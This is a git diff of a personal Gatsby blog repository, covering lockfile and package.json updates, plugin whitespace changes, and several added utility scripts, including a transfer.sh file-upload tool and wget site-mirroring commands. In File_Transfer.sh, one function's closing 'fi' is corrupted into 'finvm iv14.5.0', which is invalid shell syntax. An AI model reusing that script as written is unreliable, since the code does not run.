+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                }
+            }
+        },
+        "wrappy": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+            "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
+        },
+        "write": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz",
+            "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==",
+            "requires": {
+                "mkdirp": "^0.5.1"
+            }
+        },
+        "write-file-atomic": {
+            "version": "3.0.3",
+            "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
+            "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+            "requires": {
+                "imurmurhash": "^0.1.4",
+                "is-typedarray": "^1.0.0",
+                "signal-exit": "^3.0.2",
+                "typedarray-to-buffer": "^3.1.5"
+            }
+        },
+        "ws": {
+            "version": "7.4.5",
+            "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.5.tgz",
+            "integrity": "sha512-xzyu3hFvomRfXKH8vOFMU3OguG6oOvhXMo3xsGy3xWExqaM2dxBbVxuD99O7m3ZUFMvvscsZDqxfgMaRr/Nr1g=="
+        },
+        "x-is-string": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/x-is-string/-/x-is-string-0.1.0.tgz",
+            "integrity": "sha512-GojqklwG8gpzOVEVki5KudKNoq7MbbjYZCbyWzEz7tyPA7eleiE0+ePwOWQQRb5fm86rD3S8Tc0tSFf3AOv50w=="
+        },
+        "xdg-basedir": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz",
+            "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q=="
+        },
+        "xmlhttprequest-ssl": {
+            "version": "1.6.3",
+            "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-1.6.3.tgz",
+            "integrity": "sha512-3XfeQE/wNkvrIktn2Kf0869fC0BN6UpydVasGIeSm2B1Llihf7/0UfZM+eCkOw3P7bP4+qPgqhm7ZoxuJtFU0Q=="
+        },
+        "xss": {
+            "version": "1.0.13",
+            "resolved": "https://registry.npmjs.org/xss/-/xss-1.0.13.tgz",
+            "integrity": "sha512-clu7dxTm1e8Mo5fz3n/oW3UCXBfV89xZ72jM8yzo1vR/pIS0w3sgB3XV2H8Vm6zfGnHL0FzvLJPJEBhd86/z4Q==",
+            "requires": {
+                "commander": "^2.20.3",
+                "cssfilter": "0.0.10"
+            }
+        },
+        "xstate": {
+            "version": "4.32.1",
+            "resolved": "https://registry.npmjs.org/xstate/-/xstate-4.32.1.tgz",
+            "integrity": "sha512-QYUd+3GkXZ8i6qdixnOn28bL3EvA++LONYL/EMWwKlFSh/hiLndJ8YTnz77FDs+JUXcwU7NZJg7qoezoRHc4GQ=="
+        },
+        "xtend": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+            "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="
+        },
+        "y18n": {
+            "version": "5.0.8",
+            "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+            "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="
+        },
+        "yallist": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+            "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+        },
+        "yaml": {
+            "version": "1.10.2",
+            "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
+            "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="
+        },
+        "yaml-loader": {
+            "version": "0.6.0",
+            "resolved": "https://registry.npmjs.org/yaml-loader/-/yaml-loader-0.6.0.tgz",
+            "integrity": "sha512-1bNiLelumURyj+zvVHOv8Y3dpCri0F2S+DCcmps0pA1zWRLjS+FhZQg4o3aUUDYESh73+pKZNI18bj7stpReow==",
+            "requires": {
+                "loader-utils": "^1.4.0",
+                "yaml": "^1.8.3"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "yargs": {
+            "version": "3.10.0",
+            "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz",
+            "integrity": "sha512-QFzUah88GAGy9lyDKGBqZdkYApt63rCXYBGYnEP4xDJPXNqXXnBDACnbrXnViV6jRSqAePwrATi2i8mfYm4L1A==",
+            "requires": {
+                "camelcase": "^1.0.2",
+                "cliui": "^2.1.0",
+                "decamelize": "^1.0.0",
+                "window-size": "0.1.0"
+            }
+        },
+        "yargs-parser": {
+            "version": "20.2.9",
+            "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
+            "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w=="
+        },
+        "yeast": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/yeast/-/yeast-0.1.2.tgz",
+            "integrity": "sha512-8HFIh676uyGYP6wP13R/j6OJ/1HwJ46snpvzE7aHAN3Ryqh2yX6Xox2B4CUmTwwOIzlG3Bs7ocsP5dZH/R1Qbg=="
+        },
+        "yn": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz",
+            "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q=="
+        },
+        "yocto-queue": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
+            "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="
+        },
+        "yoga-layout-prebuilt": {
+            "version": "1.10.0",
+            "resolved": "https://registry.npmjs.org/yoga-layout-prebuilt/-/yoga-layout-prebuilt-1.10.0.tgz",
+            "integrity": "sha512-YnOmtSbv4MTf7RGJMK0FvZ+KD8OEe/J5BNnR0GHhD8J/XcG/Qvxgszm0Un6FTHWW4uHlTgP0IztiXQnGyIR45g==",
+            "requires": {
+                "@types/yoga-layout": "1.9.2"
+            }
+        },
+        "yurnalist": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/yurnalist/-/yurnalist-2.1.0.tgz",
+            "integrity": "sha512-PgrBqosQLM3gN2xBFIMDLACRTV9c365VqityKKpSTWpwR+U4LAFR3rSVyEoscWlu3EzX9+Y0I86GXUKxpHFl6w==",
+            "requires": {
+                "chalk": "^2.4.2",
+                "inquirer": "^7.0.0",
+                "is-ci": "^2.0.0",
+                "read": "^1.0.7",
+                "strip-ansi": "^5.2.0"
+            }
+        },
+        "zwitch": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.2.tgz",
+            "integrity": "sha512-JZxotl7SxAJH0j7dN4pxsTV6ZLXoLdGME+PsjkL/DaBrVryK9kTGq06GfKrwcSOqypP+fdXGoCHE36b99fWVoA=="
+        }
+    }
+}
diff --git a/package.json b/package.json
index fd11fbb518..e2dbce1039 100644
--- a/package.json
+++ b/package.json
@@ -1,41 +1,55 @@
 {
     "name": "bgoonz-blog",
     "description": "bgoonz-blog",
-    "version": "0.0.1",
+    "version": "1.11.5",
     "license": "MIT",
     "scripts": {
         "develop": "gatsby develop",
         "start": "npm run develop",
         "build": "gatsby build --prefix-paths",
-        "serve": "gatsby serve"
+        "serve": "gatsby serve",
+        "prettydock": "npm i docky --location=global && npm i prettier --location=global",
+        "docky": "docky src/pages/*.md   --watch 'src/pages/*.js','./README.md'    --use-readme=true",
+        "pretty": "prettier --write ./static && prettier --write ./docs && prettier --write ./notes",
+        "git": "git add . && git commit -m 'update' && git pull && git push"
     },
     "dependencies": {
         "@stackbit/gatsby-plugin-menus": "0.0.4",
+        "axios": "^0.21.2",
         "babel-runtime": "6.26.0",
         "chokidar": "3.4.0",
         "classnames": "2.2.6",
+        "docky": "^1.5.4",
         "fs-extra": "7.0.1",
-        "gatsby": "2.25.4",
-        "gatsby-plugin-sass": "2.8.0",
+        "gatsby": "^2.0.0",
+        "gatsby-plugin-disqus": "^1.2.4",
+        "gatsby-plugin-no-sourcemaps": "^4.17.0",
+        "gatsby-plugin-offline": "^5.9.0",
         "gatsby-plugin-react-helmet": "3.3.3",
-        "gatsby-plugin-typescript": "2.4.4",
+        "gatsby-plugin-sass": "2.8.0",
+        "gatsby-remark-code-buttons": "^2.0.7",
+        "gatsby-remark-prismjs": "^6.16.0",
+        "gatsby-remark-prismjs-copy-button": "^0.3.1",
         "gatsby-source-filesystem": "2.3.10",
         "gatsby-transformer-remark": "2.8.14",
-        "gatsby-plugin-disqus": "^1.2.3",
         "js-yaml": "3.12.2",
-        "lodash": "4.17.11",
+        "lodash": "^4.17.21",
         "marked": "0.6.1",
-        "moment": "2.23.0",
+        "moment": "^2.29.3",
         "moment-strftime": "0.5.0",
-        "node-sass": "4.14.0",
+        "node-sass": "^4.14.0",
         "node-sass-utils": "1.1.2",
-        "react": "16.5.1",
-        "react-dom": "16.13.1",
+        "prismjs": "^1.28.0",
+        "react": "16.5.1  || ^17.0.0",
+        "react-dom": "^16.13.1",
         "react-helmet": "5.2.1",
         "react-html-parser": "2.0.2",
         "react-script-tag": "1.1.2",
         "rehype-react": "3.0.2",
         "sprintf-js": "1.1.2",
-        "pdfcrowd":"5.4.0"
+        "web-dev-utils": "^1.0.4"
+    },
+    "devDependencies": {
+        "prettier": "^2.7.1"
     }
 }
diff --git a/plugins/gatsby-remark-page-creator/gatsby-node.js b/plugins/gatsby-remark-page-creator/gatsby-node.js
index a721e29c0e..a746b4d109 100644
--- a/plugins/gatsby-remark-page-creator/gatsby-node.js
+++ b/plugins/gatsby-remark-page-creator/gatsby-node.js
@@ -3,33 +3,43 @@ const fs = require("fs");
 const {createFilePath} = require("gatsby-source-filesystem");
 const _ = require("lodash");
 
+
 function findFileNode({node, getNode}) {
     let fileNode = node;
     let ids = [fileNode.id];
+
     while (fileNode && fileNode.internal.type !== `File` && fileNode.parent) {
         fileNode = getNode(fileNode.parent);
+
         if (!fileNode) {
             break;
         }
+
         if (_.includes(ids, fileNode.id)) {
             console.log(`found cyclic reference between nodes`);
             break;
         }
+
         ids.push(fileNode.id);
     }
+
     if (!fileNode || fileNode.internal.type !== `File`) {
         console.log('did not find ancestor File node');
         return null;
     }
     return fileNode;
 }
+
 exports.onCreateNode = ({node, getNode, actions}, options) => {
+
     const {createNodeField} = actions;
+
     if (node.internal.type === "MarkdownRemark") {
         let fileNode = findFileNode({node, getNode});
         if (!fileNode) {
             throw new Error('could not find parent File node for MarkdownRemark node: ' + node);
         }
+
         let url;
         if (node.frontmatter.url) {
             url = node.frontmatter.url;
@@ -38,6 +48,7 @@ exports.onCreateNode = ({node, getNode, actions}, options) => {
         } else {
             url = createFilePath({node, getNode});
         }
+
         createNodeField({node, name: "url", value: url});
         createNodeField({node, name: "absolutePath", value: fileNode.absolutePath});
         createNodeField({node, name: "relativePath", value: fileNode.relativePath});
@@ -48,8 +59,10 @@ exports.onCreateNode = ({node, getNode, actions}, options) => {
         createNodeField({node, name: "name", value: fileNode.name});
     }
 };
+
 exports.createPages = ({graphql, getNode, actions, getNodesByType}) => {
     const {createPage, deletePage} = actions;
+
     // Use GraphQL to bring only the "id" and "html" (added by gatsby-transformer-remark)
     // properties of the MarkdownRemark nodes. Don't bring additional fields
     // such as "relativePath". Otherwise, Gatsby's GraphQL resolvers might infer
@@ -71,12 +84,14 @@ exports.createPages = ({graphql, getNode, actions, getNodesByType}) => {
         if (result.errors) {
             return Promise.reject(result.errors);
         }
+
         const nodes = result.data.allMarkdownRemark.edges.map(({node}) => node);
         const siteNode = getNode('Site');
         const siteDataNode = getNode('SiteData');
         const sitePageNodes = getNodesByType('SitePage');
         const sitePageNodesByPath = _.keyBy(sitePageNodes, 'path');
         const siteData = _.get(siteDataNode, 'data', {});
+
         const pages = nodes.map(graphQLNode => {
             // Use the node id to get the underlying node. It is not exactly the
             // same node returned by GraphQL, because GraphQL resolvers might
@@ -92,6 +107,7 @@ exports.createPages = ({graphql, getNode, actions, getNodesByType}) => {
                 html: graphQLNode.html
             };
         });
+
         nodes.forEach(graphQLNode => {
             const node = getNode(graphQLNode.id);
             const url = node.fields.url;
@@ -101,12 +117,15 @@ exports.createPages = ({graphql, getNode, actions, getNodesByType}) => {
                 console.error(`Error: undefined template for ${url}`);
                 return;
             }
+
             const component = path.resolve(`./src/templates/${template}.js`);
             if (!fs.existsSync(component)) {
                 console.error(`Error: component "src/templates/${template}.js" missing for ${url}`);
                 return;
             }
+
             const existingPageNode = _.get(sitePageNodesByPath, url);
+
             const page = {
                 path: url,
                 component: component,
@@ -126,9 +145,11 @@ exports.createPages = ({graphql, getNode, actions, getNodesByType}) => {
                     }
                 }
             };
+
             if (existingPageNode && !_.get(page, 'context.menus')) {
                 page.context.menus = _.get(existingPageNode, 'context.menus');
             }
+
             createPage(page);
         });
     });
diff --git a/plugins/gatsby-source-data/gatsby-node.js b/plugins/gatsby-source-data/gatsby-node.js
index 51c5abcc7a..4c77475429 100644
--- a/plugins/gatsby-source-data/gatsby-node.js
+++ b/plugins/gatsby-source-data/gatsby-node.js
@@ -4,27 +4,35 @@ const fse = require('fs-extra');
 const chokidar = require('chokidar');
 const _ = require('lodash');
 
-const metadataFileName = `site-metadata.json`;
+
+const metadataFileName = 'site-metadata.json';
+
 const parsers = {
     yaml: (data) => yaml.safeLoad(data, {schema: yaml.JSON_SCHEMA}),
     json: (data) => JSON.parse(data)
 };
+
 const supportedExtensions = {
     'yaml': parsers.yaml,
     'yml': parsers.yaml,
     'json': parsers.json
 };
+
 exports.sourceNodes = (props, pluginOptions = {}) => {
     const createContentDigest = props.createContentDigest;
     const { createNode } = props.actions;
     const reporter = props.reporter;
+
     if (!_.get(pluginOptions, 'path')) {
         pluginOptions.path = 'src/data';
     }
+
     if (!path.isAbsolute(pluginOptions.path)) {
         pluginOptions.path = path.resolve(process.cwd(), pluginOptions.path);
     }
+
     reporter.info(`[gatsby-source-data] setup file watcher and create site data`);
+
     const dataPath = pluginOptions.path;
     const createSiteDataFromFilesPartial = _.partial(createSiteDataFromFiles, { dataPath, createNode, createContentDigest, reporter });
     const watcher = chokidar.watch([dataPath, metadataFileName], {
@@ -34,22 +42,28 @@ exports.sourceNodes = (props, pluginOptions = {}) => {
     watcher.on('add', createSiteDataFromFilesPartial);
     watcher.on('change', createSiteDataFromFilesPartial);
     watcher.on('unlink', createSiteDataFromFilesPartial);
+
     return createSiteDataFromFiles({ dataPath, createNode, createContentDigest, reporter }, null);
 };
+
 async function createSiteDataFromFiles({ dataPath, createNode, createContentDigest, reporter }, changedFile) {
     reporter.info(`[gatsby-source-data] create site data from files, updated path: ${changedFile}`);
     let dataFiles = [];
+
     const dataPathExists = await fse.pathExists(dataPath);
     if (dataPathExists) {
         dataFiles = await readDirRecursively(dataPath);
     }
+
     const metadataPath = path.resolve(metadataFileName);
     const metadataExists = await fse.pathExists(metadataPath);
     if (metadataExists) {
         dataFiles.push(metadataFileName);
     }
+
     const sortedDataFiles = dataFiles.slice().sort();
     const data = await convertDataFilesToJSON(sortedDataFiles, dataPath, reporter);
+
     createNode({
         id: 'SiteData',
         parent: null,
@@ -62,6 +76,7 @@ async function createSiteDataFromFiles({ dataPath, createNode, createContentDige
         }
     });
 }
+
 async function readDirRecursively(dir, options) {
     const rootDir = _.get(options, 'rootDir', dir);
     const files = await fse.readdir(dir);
@@ -79,6 +94,7 @@ async function readDirRecursively(dir, options) {
     const recFiles = await Promise.all(promises);
     return _.chain(recFiles).compact().flatten().value();
 }
+
 function convertDataFilesToJSON(dataFiles, dataDirPath, reporter) {
     let promises = _.map(dataFiles, filePath => {
         const pathObject = path.parse(filePath);
diff --git a/scripts/Addtexttothefirstlineofeveryfileofacertainextensioninagivenfolder.sh b/scripts/Addtexttothefirstlineofeveryfileofacertainextensioninagivenfolder.sh
new file mode 100644
index 0000000000..b9ea60a0c4
--- /dev/null
+++ b/scripts/Addtexttothefirstlineofeveryfileofacertainextensioninagivenfolder.sh
@@ -0,0 +1 @@
+for f in *.txt; do printf '%s\n' 0a 'TEXT YOU WISH TO APPEND TO BEGINNING OF EVERY FILE' . x | ex "$f"; done
\ No newline at end of file
diff --git a/scripts/Download-all-weblinks-of-certain-file-type.sh b/scripts/Download-all-weblinks-of-certain-file-type.sh
new file mode 100644
index 0000000000..2a153c0393
--- /dev/null
+++ b/scripts/Download-all-weblinks-of-certain-file-type.sh
@@ -0,0 +1 @@
+wget -r -A.pdf https://overapi.com/git
\ No newline at end of file
diff --git a/scripts/Download-website.sh b/scripts/Download-website.sh
new file mode 100644
index 0000000000..62a9bc9f54
--- /dev/null
+++ b/scripts/Download-website.sh
@@ -0,0 +1,10 @@
+wget --wait=2 --level=inf --limit-rate=20K --recursive --page-requisites --user-agent=Mozilla --no-parent --convert-links --adjust-extension --no-clobber -e robots=off <url>
+
+
+
+## OR--------------------------------------------------------------------------------
+
+sudo apt install httrack
+httrack --ext-depth=2 <url>
+
+
diff --git a/scripts/File_Transfer.sh b/scripts/File_Transfer.sh
new file mode 100644
index 0000000000..7871badd71
--- /dev/null
+++ b/scripts/File_Transfer.sh
@@ -0,0 +1,289 @@
+#!/usr/bin/env bash
+# https://github.com/bgoonz
+configuredDownloadClient=""
+configuredUploadClient=""
+configuredClient=""
+currentVersion="1.23.0"
+down="false"
+
+## This function determines which http get tool the system has installed and returns an error if there isnt one
+getConfiguredDownloadClient()
+{
+  if  command -v curl &>/dev/null; then
+    configuredDownloadClient="curl"
+  elif command -v wget &>/dev/null; then
+    configuredDownloadClient="wget"
+  elif command -v fetch &>/dev/null; then
+    configuredDownloadClient="fetch"
+  else
+    echo "Error: Downloading with this tool requires either curl, wget, or fetch to be installed." >&2  # Prints error to stderr
+    return 1
+  finvm iv14.5.0
+  
+}
+
+## Allows to call the users configured client without if statements everywhere
+httpGet()
+{
+  case "$configuredClient" in
+    curl)  curl -A curl -s "$@" ;;
+    wget)  wget -qO- "$@" ;;
+    httpie) http -b GET "$@" ;;
+    fetch) fetch -q "$@" ;;
+  esac
+}
+
+## This function determines which http get tool the system has installed and returns an error if there isnt one
+getConfiguredClient()
+{
+  if  command -v curl &>/dev/null; then
+    configuredClient="curl"
+  elif command -v wget &>/dev/null; then
+    configuredClient="wget"
+  elif command -v http &>/dev/null; then
+    configuredClient="httpie"
+  elif command -v fetch &>/dev/null; then
+    configuredClient="fetch"
+  else
+    echo "Error: This tool requires either curl, wget, httpie or fetch to be installed." >&2
+    return 1
+  fi
+}
+
+## This function determines which http get tool the system has installed and returns an error if there isnt one
+getconfiguredUploadClient()
+{
+  if  command -v curl &>/dev/null; then
+    configuredUploadClient="curl"
+  elif command -v wget &>/dev/null; then
+    configuredUploadClient="wget"
+  else
+    echo "Error: Uploading with this tool requires either curl or wget to be installed." >&2
+    return 1
+  fi
+}
+## Allows to call the users configured client without if statements everywhere
+httpDownload()
+{
+  case "$configuredDownloadClient" in
+    curl)  curl -A curl --progress -o "$tempOutputPath/$3" "https://transfer.sh/$2/$3" || { echo "Failure!"; return 1;};;
+    wget)  wget --progress=dot -O "$tempOutputPath/$3" "https://transfer.sh/$2/$3" || { echo "Failure!"; return 1;} ;;
+    fetch) fetch -q -o "$tempOutputPath/$3" "https://transfer.sh/$2/$3" || { echo "Failure!"; return 1;};;
+  esac
+}
+
+update()
+{
+  # Author:  https://github.com/bgoonz
+  # Update utility version 2.2.0
+  # To test the tool enter in the defualt values that are in the examples for each variable
+  repositoryName="Bash-Snippets" #Name of repostiory to be updated ex. Sandman-Lite
+  githubUserName="alexanderepstein" #username that hosts the repostiory ex. alexanderepstein
+  nameOfInstallFile="install.sh" # change this if the installer file has a different name be sure to include file extension if there is one
+  latestVersion=$(httpGet https://api.github.com/repos/$githubUserName/$repositoryName/tags | grep -Eo '"name":.*?[^\\]",'| head -1 | grep -Eo "[0-9.]+" ) #always grabs the tag without the v option
+
+  if [[ $currentVersion == "" || $repositoryName == "" || $githubUserName == "" || $nameOfInstallFile == "" ]]; then
+    echo "Error: update utility has not been configured correctly." >&2
+    exit 1
+  elif [[ $latestVersion == "" ]]; then
+    echo "Error: no active internet connection" >&2
+    exit 1
+  else
+    if [[ "$latestVersion" != "$currentVersion" ]]; then
+      echo "Version $latestVersion available"
+      echo -n "Do you wish to update $repositoryName [Y/n]: "
+      read -r answer
+      if [[ "$answer" == [Yy] ]]; then
+        cd ~ || { echo 'Update Failed'; exit 1; }
+        if [[ -d  ~/$repositoryName ]]; then rm -r -f $repositoryName || { echo "Permissions Error: try running the update as sudo"; exit 1; } ; fi
+        echo -n "Downloading latest version of: $repositoryName."
+        git clone -q "https://github.com/$githubUserName/$repositoryName" && touch .BSnippetsHiddenFile || { echo "Failure!"; exit 1; } &
+        while [ ! -f .BSnippetsHiddenFile ]; do { echo -n "."; sleep 2; };done
+        rm -f .BSnippetsHiddenFile
+        echo "Success!"
+        cd $repositoryName || { echo 'Update Failed'; exit 1; }
+        git checkout "v$latestVersion" 2> /dev/null || git checkout "$latestVersion" 2> /dev/null || echo "Couldn't git checkout to stable release, updating to latest commit."
+        chmod a+x install.sh #this might be necessary in your case but wasnt in mine.
+        ./$nameOfInstallFile "update" || exit 1
+        cd ..
+        rm -r -f $repositoryName || { echo "Permissions Error: update succesfull but cannot delete temp files located at ~/$repositoryName delete this directory with sudo"; exit 1; }
+      else
+        exit 1
+      fi
+    else
+      echo "$repositoryName is already the latest version"
+    fi
+  fi
+}
+
+checkInternet()
+{
+  httpGet github.com > /dev/null 2>&1 || { echo "Error: no active internet connection" >&2; return 1; } # query github with a get request
+}
+
+singleDownload()
+{
+  if [[ ! -d $1 ]];then { echo "Directory doesn't exist, creating it now..."; mkdir -p "$1";};fi
+  tempOutputPath=$1
+  if [ -f "$tempOutputPath/$3" ];then
+    echo -n "File aleady exists at $tempOutputPath/$3, do you want to delete it? [Y/n] "
+    read -r answer
+    if [[ "$answer" == [Yy] ]] ;then
+      rm -f "$tempOutputPath"/"$3"
+    else
+      echo "Stopping download"
+      return 1
+    fi
+  fi
+  echo "Downloading $3"
+  httpDownload "$tempOutputPath" "$2" "$3"
+  echo "Success!"
+}
+
+httpSingleUpload()
+{
+  case "$configuredUploadClient" in
+    curl) response=$(curl -A curl --progress --upload-file "$1" "https://transfer.sh/$2") || { echo "Failure!"; return 1;};;
+    wget) response=$(wget --progress=dot --method PUT --body-file="$1" "https://transfer.sh/$2") || { echo "Failure!"; return 1;} ;;
+  esac
+  echo  "Success!"
+}
+
+printUploadResponse()
+{
+fileID=$(echo "$response" | cut -d "/" -f 4)
+  cat <<EOF
+Transfer Download Command: transfer -d desiredOutputDirectory $fileID $tempFileName
+Transfer File URL: $response
+EOF
+}
+
+printOntimeUpload()
+{
+  cat <<EOF
+  Download link: $downlink
+EOF
+}
+
+singleUpload()
+{
+  filePath=$(echo "$1" | sed s:"~":"$HOME":g)
+  if [ ! -f "$filePath" ];then { echo "Error: invalid file path"; return 1;}; fi
+  tempFileName=$(echo "$1" | sed "s/.*\///")
+  echo "Uploading $tempFileName"
+  httpSingleUpload "$filePath" "$tempFileName"
+}
+
+onetimeUpload()
+{
+  response=$(curl -A curl -s -F "file=@$1" http://ki.tc/file/u/)
+  downlink=$(echo "$response" | python -c "import sys, json; print json.load(sys.stdin)['file']['download_page']")
+}
+
+usage()
+{
+  cat <<EOF
+Transfer
+Description: Quickly transfer files from the command line.
+Usage: transfer [flags] or transfer [flag] [args] or transfer [filePathToUpload]
+  -d  Download a single file
+      First arg: Output file directory
+      Second arg: File url id
+      Third arg: File name
+  -o  Onetime file upload
+  -u  Update Bash-Snippet Tools
+  -h  Show the help
+  -v  Get the tool version
+Examples:
+  transfer ~/fileToTransfer.txt
+  transfer ~/firstFileToTransfer.txt ~/secondFileToTransfer.txt ~/thirdFileToTransfer.txt
+  transfer -d ~/outputDirectory fileID fileName
+  transfer -o ~/fileToTransfer.txt
+EOF
+}
+
+while getopts "o:d:uvh" opt; do
+  case "$opt" in
+    \?) echo "Invalid option: -$OPTARG" >&2
+      exit 1
+    ;;
+    h)  usage
+      exit 0
+    ;;
+    v)  echo "Version $currentVersion"
+      exit 0
+    ;;
+    u)
+      getConfiguredClient || exit 1
+      checkInternet || exit 1
+      update || exit 1
+      exit 0
+    ;;
+    o)
+      onetime="true"
+    ;;
+    d)
+      down="true"
+      if [ $# -lt 4 ];then { echo "Error: not enough arguments for downloading a file, see the usage"; return 1;};fi
+      if [ $# -gt 4 ];then { echo "Error: to many enough arguments for downloading a file, see the usage"; return 1;};fi
+      inputFilePath=$(echo "$*" | sed s/-d//g | sed s/-o//g | cut -d " " -f 2)
+      inputID=$(echo "$*" | sed s/-d//g | sed s/-o//g | cut -d " " -f 3)
+      inputFileName=$(echo "$*" | sed s/-d//g | sed s/-o//g | cut -d " " -f 4)
+    ;;
+    :)  echo "Option -$OPTARG requires an argument." >&2
+      exit 1
+    ;;
+  esac
+done
+
+if [[ $# == "0" ]]; then
+  usage
+  exit 0
+elif [[ $# == "1" ]];then
+  if [[ $1 == "help" ]]; then
+    usage
+    exit 0
+  elif [[ $1 == "update" ]]; then
+    getConfiguredClient || exit 1
+    checkInternet || exit 1
+    update || exit 1
+    exit 0
+  elif [ -f "$1" ];then
+    getConfiguredClient || exit 1
+    checkInternet || exit 1
+    getconfiguredUploadClient || exit 1
+    singleUpload "$1" || exit 1
+    printUploadResponse
+    exit 0
+  else
+    echo "Error: invalid filepath"
+    exit 1
+  fi
+else
+  if $down && ! $onetime ;then
+    getConfiguredClient || exit 1
+    checkInternet || exit 1
+    getConfiguredDownloadClient || exit 1
+    singleDownload "$inputFilePath" "$inputID" "$inputFileName" || exit 1
+    exit 0
+  elif ! $down && ! $onetime; then
+    getConfiguredClient || exit 1
+    checkInternet || exit 1
+    getconfiguredUploadClient || exit 1
+    for path in "$@";do
+      singleUpload "$path" || exit 1
+      printUploadResponse
+      echo
+    done
+    exit 0
+  elif ! $down && $onetime; then
+    getConfiguredClient || exit 1
+    if [[ $configuredClient -ne "curl" ]];then
+      echo "Error: curl must be installed to use one time file upload"
+      exit 1
+    fi
+    inputFileName=$(echo "$*" | sed s/-o//g | cut -d " " -f 2 )
+    onetimeUpload "$inputFileName"
+    printOntimeUpload
+  fi
+fi
diff --git a/scripts/READFILE.js b/scripts/READFILE.js
new file mode 100644
index 0000000000..60bb6e8e70
--- /dev/null
+++ b/scripts/READFILE.js
@@ -0,0 +1,21 @@
+const fs = require('fs')
+// Initialize the time at which the program started
+const startTime = new Date()
+
+fs.readFile('words.txt', (err, data) => {
+
+	if (err) {
+		console.error(err)
+		return
+	}
+
+	// Split the words based on spaces and newlines and print the length
+	const nWords = data.toString().split(/[\s\n]+/).length
+	console.log('total words:', nWords)
+
+	// print the total time taken and total program memory used
